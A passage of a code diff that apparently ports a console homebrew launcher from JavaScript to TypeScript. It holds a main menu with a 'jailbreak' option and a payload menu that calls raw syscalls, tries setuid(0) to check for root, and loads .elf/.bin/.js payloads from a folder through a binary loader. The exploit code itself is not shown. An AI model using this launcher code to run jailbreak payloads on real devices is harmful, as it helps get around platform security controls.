function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
var btnW = buttonWidth
var btnH = buttonHeight
var startScale = btn.scaleX || 1.1
var endScale = 1.0
var duration = 175
var elapsed = 0
var step = 16
zoomOutInterval = jsmaf.setInterval(function () {
elapsed += step
var t = Math.min(elapsed / duration, 1)
var eased = easeInOut(t)
var scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomOutInterval)
zoomOutInterval = null
}
}, step)
}
function updateHighlight () {
// Animate out the previous button
if (prevButton >= 0 && prevButton !== currentButton) {
buttons[prevButton].url = normalButtonImg
buttons[prevButton].alpha = 0.7
buttons[prevButton].borderColor = 'transparent'
buttons[prevButton].borderWidth = 0
buttonMarkers[prevButton].visible = false
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
}
// Set styles for all buttons
for (var i = 0; i < buttons.length; i++) {
if (i === currentButton) {
buttons[i].url = selectedButtonImg
buttons[i].alpha = 1.0
buttons[i].borderColor = 'rgb(100,180,255)'
buttons[i].borderWidth = 3
buttonMarkers[i].visible = true
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
} else if (i !== prevButton) {
buttons[i].url = normalButtonImg
buttons[i].alpha = 0.7
buttons[i].borderColor = 'transparent'
buttons[i].borderWidth = 0
buttons[i].scaleX = 1.0
buttons[i].scaleY = 1.0
buttons[i].x = buttonOrigPos[i].x
buttons[i].y = buttonOrigPos[i].y
buttonTexts[i].scaleX = 1.0
buttonTexts[i].scaleY = 1.0
buttonTexts[i].x = textOrigPos[i].x
buttonTexts[i].y = textOrigPos[i].y
buttonMarkers[i].visible = false
}
}
prevButton = currentButton
}
function handleButtonPress () {
if (currentButton === buttons.length - 1) {
log('Exiting application...')
try {
if (typeof libc_addr === 'undefined') {
log('Loading userland.js...')
include('userland.js')
}
if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint')
if (!fn.kill) fn.register(0x25, 'kill', 'bigint')
var pid = fn.getpid()
var pid_num = (pid instanceof BigInt) ? pid.lo : pid
log('Current PID: ' + pid_num)
log('Sending SIGKILL to PID ' + pid_num)
fn.kill(pid, new BigInt(0, 9))
} catch (e) {
log('ERROR during exit: ' + e.message)
if (e.stack) log(e.stack)
}
jsmaf.exit()
} else if (currentButton < menuOptions.length) {
var selectedOption = menuOptions[currentButton]
log('Loading ' + selectedOption.script + '...')
try {
include(selectedOption.script)
} catch (e) {
log('ERROR loading ' + selectedOption.script + ': ' + e.message)
if (e.stack) log(e.stack)
}
}
}
jsmaf.onKeyDown = function (keyCode) {
if (keyCode === 6 || keyCode === 5) {
currentButton = (currentButton + 1) % buttons.length
updateHighlight()
} else if (keyCode === 4 || keyCode === 7) {
currentButton = (currentButton - 1 + buttons.length) % buttons.length
updateHighlight()
} else if (keyCode === 14) {
handleButtonPress()
}
}
updateHighlight()
log(lang.mainMenuLoaded)
})()
+305
View File
@@ -0,0 +1,305 @@
import { lang } from 'download0/languages'
import { libc_addr } from 'download0/userland'
import { fn, BigInt } from 'download0/types'
(function () {
include('languages.js')
log(lang.loadingMainMenu)
let currentButton = 0
const buttons: Image[] = []
const buttonTexts: jsmaf.Text[] = []
const buttonMarkers: Image[] = []
const buttonOrigPos: { x: number, y: number }[] = []
const textOrigPos: { x: number, y: number }[] = []
const normalButtonImg = 'file:///assets/img/button_over_9.png'
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
jsmaf.root.children.length = 0
new Style({ name: 'white', color: 'white', size: 24 })
new Style({ name: 'title', color: 'white', size: 32 })
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
const background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
x: 0,
y: 0,
width: 1920,
height: 1080
})
jsmaf.root.children.push(background)
const centerX = 960
const logoWidth = 600
const logoHeight = 338
const logo = new Image({
url: 'file:///../download0/img/logo.png',
x: centerX - logoWidth / 2,
y: 50,
width: logoWidth,
height: logoHeight
})
jsmaf.root.children.push(logo)
const menuOptions = [
{ label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' },
{ label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' },
{ label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' }
]
const startY = 450
const buttonSpacing = 120
const buttonWidth = 400
const buttonHeight = 80
for (let i = 0; i < menuOptions.length; i++) {
const btnX = centerX - buttonWidth / 2
const btnY = startY + i * buttonSpacing
const button = new Image({
url: normalButtonImg,
x: btnX,
y: btnY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(button)
jsmaf.root.children.push(button)
const marker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: btnX + buttonWidth - 50,
y: btnY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(marker)
jsmaf.root.children.push(marker)
const btnText = new jsmaf.Text()
btnText.text = menuOptions[i]!.label
btnText.x = btnX + buttonWidth / 2 - 60
btnText.y = btnY + buttonHeight / 2 - 12
btnText.style = 'white'
buttonTexts.push(btnText)
jsmaf.root.children.push(btnText)
buttonOrigPos.push({ x: btnX, y: btnY })
textOrigPos.push({ x: btnText.x, y: btnText.y })
}
const exitX = centerX - buttonWidth / 2
const exitY = startY + menuOptions.length * buttonSpacing + 100
const exitButton = new Image({
url: normalButtonImg,
x: exitX,
y: exitY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(exitButton)
jsmaf.root.children.push(exitButton)
const exitMarker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: exitX + buttonWidth - 50,
y: exitY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(exitMarker)
jsmaf.root.children.push(exitMarker)
const exitText = new jsmaf.Text()
exitText.text = lang.exit
exitText.x = exitX + buttonWidth / 2 - 20
exitText.y = exitY + buttonHeight / 2 - 12
exitText.style = 'white'
buttonTexts.push(exitText)
jsmaf.root.children.push(exitText)
buttonOrigPos.push({ x: exitX, y: exitY })
textOrigPos.push({ x: exitText.x, y: exitText.y })
let zoomInInterval: number | null = null
let zoomOutInterval: number | null = null
let prevButton = -1
function easeInOut (t: number) {
return (1 - Math.cos(t * Math.PI)) / 2
}
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
const btnW = buttonWidth
const btnH = buttonHeight
const startScale = btn.scaleX || 1.0
const endScale = 1.1
const duration = 175
let elapsed = 0
const step = 16
zoomInInterval = jsmaf.setInterval(function () {
elapsed += step
const t = Math.min(elapsed / duration, 1)
const eased = easeInOut(t)
const scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1 && zoomInInterval) {
jsmaf.clearInterval(zoomInInterval)
zoomInInterval = null
}
}, step)
}
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
const btnW = buttonWidth
const btnH = buttonHeight
const startScale = btn.scaleX || 1.1
const endScale = 1.0
const duration = 175
let elapsed = 0
const step = 16
zoomOutInterval = jsmaf.setInterval(function () {
elapsed += step
const t = Math.min(elapsed / duration, 1)
const eased = easeInOut(t)
const scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1 && zoomOutInterval) {
jsmaf.clearInterval(zoomOutInterval)
zoomOutInterval = null
}
}, step)
}
function updateHighlight () {
// Animate out the previous button
const prevButtonObj = buttons[prevButton]
const buttonMarker = buttonMarkers[prevButton]
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj && buttonMarker) {
prevButtonObj.url = normalButtonImg
prevButtonObj.alpha = 0.7
prevButtonObj.borderColor = 'transparent'
prevButtonObj.borderWidth = 0
buttonMarker.visible = false
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
}
// Set styles for all buttons
for (let i = 0; i < buttons.length; i++) {
const button = buttons[i]
const buttonMarker = buttonMarkers[i]
const buttonText = buttonTexts[i]
const buttonOrigPos_ = buttonOrigPos[i]
const textOrigPos_ = textOrigPos[i]
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined || buttonMarker === undefined) continue
if (i === currentButton) {
button.url = selectedButtonImg
button.alpha = 1.0
button.borderColor = 'rgb(100,180,255)'
button.borderWidth = 3
buttonMarker.visible = true
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
} else if (i !== prevButton) {
button.url = normalButtonImg
button.alpha = 0.7
button.borderColor = 'transparent'
button.borderWidth = 0
button.scaleX = 1.0
button.scaleY = 1.0
button.x = buttonOrigPos_.x
button.y = buttonOrigPos_.y
buttonText.scaleX = 1.0
buttonText.scaleY = 1.0
buttonText.x = textOrigPos_.x
buttonText.y = textOrigPos_.y
buttonMarker.visible = false
}
}
prevButton = currentButton
}
function handleButtonPress () {
if (currentButton === buttons.length - 1) {
log('Exiting application...')
try {
if (typeof libc_addr === 'undefined') {
log('Loading userland.js...')
include('userland.js')
}
fn.register(0x14, 'getpid', [], 'bigint')
fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint')
const pid = fn.getpid()
const pid_num = (pid instanceof BigInt) ? pid.lo : pid
log('Current PID: ' + pid_num)
log('Sending SIGKILL to PID ' + pid_num)
fn.kill(pid, new BigInt(0, 9))
} catch (e) {
log('ERROR during exit: ' + (e as Error).message)
if ((e as Error).stack) log((e as Error).stack!)
}
jsmaf.exit()
} else if (currentButton < menuOptions.length) {
const selectedOption = menuOptions[currentButton]
if (!selectedOption) return
log('Loading ' + selectedOption.script + '...')
try {
include(selectedOption.script)
} catch (e) {
log('ERROR loading ' + selectedOption.script + ': ' + (e as Error).message)
if ((e as Error).stack) log((e as Error).stack!)
}
}
}
jsmaf.onKeyDown = function (keyCode) {
if (keyCode === 6 || keyCode === 5) {
currentButton = (currentButton + 1) % buttons.length
updateHighlight()
} else if (keyCode === 4 || keyCode === 7) {
currentButton = (currentButton - 1 + buttons.length) % buttons.length
updateHighlight()
} else if (keyCode === 14) {
handleButtonPress()
}
}
updateHighlight()
log(lang.mainMenuLoaded)
})()
File diff suppressed because it is too large Load Diff
-471
View File
@@ -1,471 +0,0 @@
(function () {
if (typeof libc_addr === 'undefined') {
log('Loading userland.js...')
include('userland.js')
log('userland.js loaded')
} else {
log('userland.js already loaded (libc_addr defined)')
}
var audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
function isJailbroken () {
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
var uid_before = fn.getuid()
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
log('UID before setuid: ' + uid_before_val)
log('Attempting setuid(0)...')
var setuid_success = false
var error_msg = null
try {
var setuid_result = fn.setuid(0)
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
log('setuid returned: ' + setuid_ret)
setuid_success = (setuid_ret === 0)
} catch (e) {
error_msg = e.toString()
log('setuid threw exception: ' + error_msg)
}
var uid_after = fn.getuid()
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
log('UID after setuid: ' + uid_after_val)
if (uid_after_val === 0) {
log('Already jailbroken')
return true
} else {
log('Not jailbroken')
return false
}
}
is_jailbroken = isJailbroken()
jsmaf.root.children.length = 0
new Style({name: 'white', color: 'white', size: 24})
new Style({name: 'title', color: 'white', size: 32})
var currentButton = 0
var buttons = []
var buttonTexts = []
var buttonMarkers = []
var buttonOrigPos = []
var textOrigPos = []
var fileList = []
var normalButtonImg = 'file:///assets/img/button_over_9.png'
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
var background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
x: 0,
y: 0,
width: 1920,
height: 1080
})
jsmaf.root.children.push(background)
var logo = new Image({
url: 'file:///../download0/img/logo.png',
x: 1620,
y: 0,
width: 300,
height: 169
})
jsmaf.root.children.push(logo)
var title = new jsmaf.Text()
title.text = 'Payload Menu'
title.x = 860
title.y = 120
title.style = 'title'
jsmaf.root.children.push(title)
if (typeof fn !== 'undefined') {
if (!fn.open_sys) fn.register(0x05, 'open_sys', 'bigint')
if (!fn.close_sys) fn.register(0x06, 'close_sys', 'bigint')
if (!fn.getdents) fn.register(0x110, 'getdents', 'bigint')
}
log('Scanning /download0/payloads for files...')
if (typeof fn !== 'undefined' && fn.getdents) {
var path_addr = mem.malloc(256)
for (var i = 0; i < '/download0/payloads'.length; i++) {
mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i))
}
mem.view(path_addr).setUint8('/download0/payloads'.length, 0)
var fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0))
log('open_sys returned: ' + fd.toString())
if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
var buf = mem.malloc(4096)
var count = fn.getdents(fd, buf, new BigInt(0, 4096))
log('getdents returned: ' + count.toString() + ' bytes')
if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) {
var offset = 0
while (offset < count.lo) {
var d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true)
var d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0)
var d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0)
var name = ''
for (var i = 0; i < d_namlen; i++) {
name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0))
}
log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen)
if (d_type === 8 && name !== '.' && name !== '..') {
var lowerName = name.toLowerCase()
if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) {
fileList.push(name)
log('Added file: ' + name)
}
}
offset += d_reclen
}
}
fn.close_sys(fd)
} else {
log('Failed to open /download0/payloads')
}
}
log('Total files found: ' + fileList.length)
var startY = 200
var buttonSpacing = 90
var buttonsPerRow = 5
var buttonWidth = 300
var buttonHeight = 80
var startX = 130
var xSpacing = 340
for (var i = 0; i < fileList.length; i++) {
var row = Math.floor(i / buttonsPerRow)
var col = i % buttonsPerRow
var btnX = startX + col * xSpacing
var btnY = startY + row * buttonSpacing
var button = new Image({
url: normalButtonImg,
x: btnX,
y: btnY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(button)
jsmaf.root.children.push(button)
var marker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: btnX + buttonWidth - 50,
y: btnY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(marker)
jsmaf.root.children.push(marker)
var displayName = fileList[i]
if (displayName.length > 20) {
displayName = displayName.substring(0, 17) + '...'
}
var text = new jsmaf.Text()
text.text = displayName
text.x = btnX + 20
text.y = btnY + 30
text.style = 'white'
buttonTexts.push(text)
jsmaf.root.children.push(text)
buttonOrigPos.push({x: btnX, y: btnY})
textOrigPos.push({x: text.x, y: text.y})
}
var exitX = 810
var exitY = 980
var exitButton = new Image({
url: normalButtonImg,
x: exitX,
y: exitY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(exitButton)
jsmaf.root.children.push(exitButton)
var exitMarker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: exitX + buttonWidth - 50,
y: exitY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(exitMarker)
jsmaf.root.children.push(exitMarker)
var exitText = new jsmaf.Text()
exitText.text = 'Back'
exitText.x = exitX + buttonWidth / 2 - 20
exitText.y = exitY + buttonHeight / 2 - 12
exitText.style = 'white'
buttonTexts.push(exitText)
jsmaf.root.children.push(exitText)
buttonOrigPos.push({x: exitX, y: exitY})
textOrigPos.push({x: exitText.x, y: exitText.y})
var zoomInInterval = null
var zoomOutInterval = null
var prevButton = -1
function easeInOut (t) {
return (1 - Math.cos(t * Math.PI)) / 2
}
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
var btnW = buttonWidth
var btnH = buttonHeight
var startScale = btn.scaleX || 1.0
var endScale = 1.1
var duration = 175
var elapsed = 0
var step = 16
zoomInInterval = jsmaf.setInterval(function () {
elapsed += step
var t = Math.min(elapsed / duration, 1)
var eased = easeInOut(t)
var scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomInInterval)
zoomInInterval = null
}
}, step)
}
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
var btnW = buttonWidth
var btnH = buttonHeight
var startScale = btn.scaleX || 1.1
var endScale = 1.0
var duration = 175
var elapsed = 0
var step = 16
zoomOutInterval = jsmaf.setInterval(function () {
elapsed += step
var t = Math.min(elapsed / duration, 1)
var eased = easeInOut(t)
var scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomOutInterval)
zoomOutInterval = null
}
}, step)
}
function updateHighlight () {
// Animate out the previous button
if (prevButton >= 0 && prevButton !== currentButton) {
buttons[prevButton].url = normalButtonImg
buttons[prevButton].alpha = 0.7
buttons[prevButton].borderWidth = 0
buttonTexts[prevButton].alpha = 0.8
buttonMarkers[prevButton].visible = false
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
}
// Set styles for all buttons
for (var i = 0; i < buttons.length; i++) {
if (i === currentButton) {
buttons[i].url = selectedButtonImg
buttons[i].alpha = 1.0
buttons[i].borderColor = 'rgb(100,180,255)'
buttons[i].borderWidth = 3
buttonTexts[i].alpha = 1.0
buttonMarkers[i].visible = true
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
} else if (i !== prevButton) {
buttons[i].url = normalButtonImg
buttons[i].alpha = 0.7
buttons[i].borderWidth = 0
buttons[i].scaleX = 1.0
buttons[i].scaleY = 1.0
buttons[i].x = buttonOrigPos[i].x
buttons[i].y = buttonOrigPos[i].y
buttonTexts[i].scaleX = 1.0
buttonTexts[i].scaleY = 1.0
buttonTexts[i].x = textOrigPos[i].x
buttonTexts[i].y = textOrigPos[i].y
buttonTexts[i].alpha = 0.8
buttonMarkers[i].visible = false
}
}
prevButton = currentButton
log('Selected button: ' + currentButton)
}
jsmaf.onKeyDown = function (keyCode) {
log('Key pressed: ' + keyCode)
var fileButtonCount = fileList.length
var exitButtonIndex = buttons.length - 1
if (keyCode === 6) {
if (currentButton === exitButtonIndex) {
return
}
var nextButton = currentButton + buttonsPerRow
if (nextButton >= fileButtonCount) {
currentButton = exitButtonIndex
} else {
currentButton = nextButton
}
updateHighlight()
} else if (keyCode === 4) {
if (currentButton === exitButtonIndex) {
var lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow)
var firstInLastRow = lastRow * buttonsPerRow
var col = 0
if (fileButtonCount > 0) {
col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow)
}
currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1)
} else {
var nextButton = currentButton - buttonsPerRow
if (nextButton >= 0) {
currentButton = nextButton
}
}
updateHighlight()
} else if (keyCode === 5) {
if (currentButton === exitButtonIndex) {
return
}
var row = Math.floor(currentButton / buttonsPerRow)
var col = currentButton % buttonsPerRow
if (col < buttonsPerRow - 1) {
var nextButton = currentButton + 1
if (nextButton < fileButtonCount) {
currentButton = nextButton
}
}
updateHighlight()
} else if (keyCode === 7) {
if (currentButton === exitButtonIndex) {
currentButton = fileButtonCount - 1
} else {
var col = currentButton % buttonsPerRow
if (col > 0) {
currentButton = currentButton - 1
}
}
updateHighlight()
} else if (keyCode === 14) {
handleButtonPress()
} else if (keyCode === 13) {
log('Going back to main menu...')
try {
include('main-menu.js')
} catch (e) {
log('ERROR loading main-menu.js: ' + e.message)
if (e.stack) log(e.stack)
}
}
}
function handleButtonPress () {
if (currentButton === buttons.length - 1) {
log('Going back to main menu...')
try {
include('main-menu.js')
} catch (e) {
log('ERROR loading main-menu.js: ' + e.message)
if (e.stack) log(e.stack)
}
} else if (currentButton < fileList.length) {
var selectedFile = fileList[currentButton]
var filePath = '/download0/payloads/' + selectedFile
log('Selected: ' + selectedFile)
try {
if (selectedFile.toLowerCase().endsWith('.js')) {
log('Including JavaScript file: ' + selectedFile)
include('payloads/' + selectedFile)
} else {
log('Loading binloader.js...')
include('binloader.js')
log('binloader.js loaded successfully')
log('Initializing binloader...')
if (typeof binloader_init === 'function') {
binloader_init()
} else {
log('ERROR: binloader_init not defined')
return
}
log('Loading payload from: ' + filePath)
if (typeof bl_load_from_file === 'function') {
bl_load_from_file(filePath)
} else {
log('ERROR: bl_load_from_file not defined')
}
}
} catch (e) {
log('ERROR: ' + e.message)
if (e.stack) log(e.stack)
}
}
}
updateHighlight()
log('Interactive UI loaded!')
log('Total elements: ' + jsmaf.root.children.length)
log('Buttons: ' + buttons.length)
log('Use arrow keys to navigate, Enter/X to select')
})()
+471
View File
@@ -0,0 +1,471 @@
import { fn, mem, BigInt } from 'download0/types'
import { binloader_init } from 'download0/binloader'
import { libc_addr } from 'download0/userland'
(function () {
if (typeof libc_addr === 'undefined') {
log('Loading userland.js...')
include('userland.js')
log('userland.js loaded')
} else {
log('userland.js already loaded (libc_addr defined)')
}
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
function isJailbroken () {
fn.register(24, 'getuid', [], 'bigint')
fn.register(23, 'setuid', ['number'], 'bigint')
const uid_before = fn.getuid()
const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
log('UID before setuid: ' + uid_before_val)
log('Attempting setuid(0)...')
try {
const setuid_result = fn.setuid(0)
const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
log('setuid returned: ' + setuid_ret)
} catch (e) {
const error_msg = (e as Error).toString()
log('setuid threw exception: ' + error_msg)
}
const uid_after = fn.getuid()
const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
log('UID after setuid: ' + uid_after_val)
if (uid_after_val === 0) {
log('Already jailbroken')
return true
} else {
log('Not jailbroken')
return false
}
}
is_jailbroken = isJailbroken()
jsmaf.root.children.length = 0
new Style({ name: 'white', color: 'white', size: 24 })
new Style({ name: 'title', color: 'white', size: 32 })
let currentButton = 0
const buttons: Image[] = []
const buttonTexts: jsmaf.Text[] = []
const buttonMarkers: Image[] = []
const buttonOrigPos: { x: number, y: number }[] = []
const textOrigPos: { x: number, y: number }[] = []
const fileList: string[] = []
const normalButtonImg = 'file:///assets/img/button_over_9.png'
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
const background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
x: 0,
y: 0,
width: 1920,
height: 1080
})
jsmaf.root.children.push(background)
const logo = new Image({
url: 'file:///../download0/img/logo.png',
x: 1620,
y: 0,
width: 300,
height: 169
})
jsmaf.root.children.push(logo)
const title = new jsmaf.Text()
title.text = 'Payload Menu'
title.x = 860
title.y = 120
jsmaf.root.children.push(title)
fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(0x06, 'close_sys', ['bigint'], 'bigint')
fn.register(0x110, 'getdents', ['bigint', 'bigint', 'bigint'], 'bigint')
log('Scanning /download0/payloads for files...')
const path_addr = mem.malloc(256)
for (let i = 0; i < '/download0/payloads'.length; i++) {
mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i))
}
mem.view(path_addr).setUint8('/download0/payloads'.length, 0)
const fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0))
log('open_sys returned: ' + fd.toString())
if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
const buf = mem.malloc(4096)
const count = fn.getdents(fd, buf, new BigInt(0, 4096))
log('getdents returned: ' + count.toString() + ' bytes')
if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) {
let offset = 0
while (offset < count.lo) {
const d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true)
const d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0)
const d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0)
let name = ''
for (let i = 0; i < d_namlen; i++) {
name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0))
}
log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen)
if (d_type === 8 && name !== '.' && name !== '..') {
const lowerName = name.toLowerCase()
if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) {
fileList.push(name)
log('Added file: ' + name)
}
}
offset += d_reclen
}
}
fn.close_sys(fd)
} else {
log('Failed to open /download0/payloads')
}
log('Total files found: ' + fileList.length)
const startY = 200
const buttonSpacing = 90
const buttonsPerRow = 5
const buttonWidth = 300
const buttonHeight = 80
const startX = 130
const xSpacing = 340
for (let i = 0; i < fileList.length; i++) {
const row = Math.floor(i / buttonsPerRow)
const col = i % buttonsPerRow
let displayName = fileList[i]!
const btnX = startX + col * xSpacing
const btnY = startY + row * buttonSpacing
const button = new Image({
url: normalButtonImg,
x: btnX,
y: btnY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(button)
jsmaf.root.children.push(button)
const marker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: btnX + buttonWidth - 50,
y: btnY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(marker)
jsmaf.root.children.push(marker)
if (displayName.length > 20) {
displayName = displayName.substring(0, 17) + '...'
}
const text = new jsmaf.Text()
text.text = displayName
text.x = btnX + 20
text.y = btnY + 30
text.style = 'white'
buttonTexts.push(text)
jsmaf.root.children.push(text)
buttonOrigPos.push({ x: btnX, y: btnY })
textOrigPos.push({ x: text.x, y: text.y })
}
const exitX = 810
const exitY = 980
const exitButton = new Image({
url: normalButtonImg,
x: exitX,
y: exitY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(exitButton)
jsmaf.root.children.push(exitButton)
const exitMarker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: exitX + buttonWidth - 50,
y: exitY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(exitMarker)
jsmaf.root.children.push(exitMarker)
const exitText = new jsmaf.Text()
exitText.text = 'Back'
exitText.x = exitX + buttonWidth / 2 - 20
exitText.y = exitY + buttonHeight / 2 - 12
exitText.style = 'white'
buttonTexts.push(exitText)
jsmaf.root.children.push(exitText)
buttonOrigPos.push({ x: exitX, y: exitY })
textOrigPos.push({ x: exitText.x, y: exitText.y })
let zoomInInterval: number | null = null
let zoomOutInterval: number | null = null
let prevButton = -1
function easeInOut (t: number) {
return (1 - Math.cos(t * Math.PI)) / 2
}
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
const btnW = buttonWidth
const btnH = buttonHeight
const startScale = btn.scaleX || 1.0
const endScale = 1.1
const duration = 175
let elapsed = 0
const step = 16
zoomInInterval = jsmaf.setInterval(function () {
elapsed += step
const t = Math.min(elapsed / duration, 1)
const eased = easeInOut(t)
const scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
